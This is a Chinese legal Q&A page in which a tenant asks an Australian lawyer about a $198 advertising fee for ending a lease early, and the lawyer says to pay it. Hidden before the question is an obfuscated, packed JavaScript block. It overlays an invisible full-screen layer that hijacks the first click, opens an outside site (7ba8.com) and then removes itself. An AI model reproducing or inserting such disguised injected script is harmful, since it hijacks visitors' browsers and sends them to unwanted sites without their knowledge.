房租租期计算的问题

<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>郑律师：          你好，我租的UNIT已经有1年多，第一次是从2012年9月份到2013年9月份，然后到期之后续约半年到今年3月份.第二次续约是从今年的3月份开始到9月份，又续约6个月。不过我现在买了房子，在5月份过户。我给中介发邮件说要提前退房，中介回给我说：要我出198刀做广告，来找新租客或者我继续缴租到期。
         我记得是如果房租期限不到一半的话，我是可以提前申请退房的，为什么要我交这个198呢？
        多谢你的回答

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中介不追讨未完成的相约，伱已经很幸运，现在只要求你出广告费，已是相當客气，你未免有点不講理了，还理論什么，付了就算吧！
此致
郑玉桂律师敬上
澳大利亚国际公证律师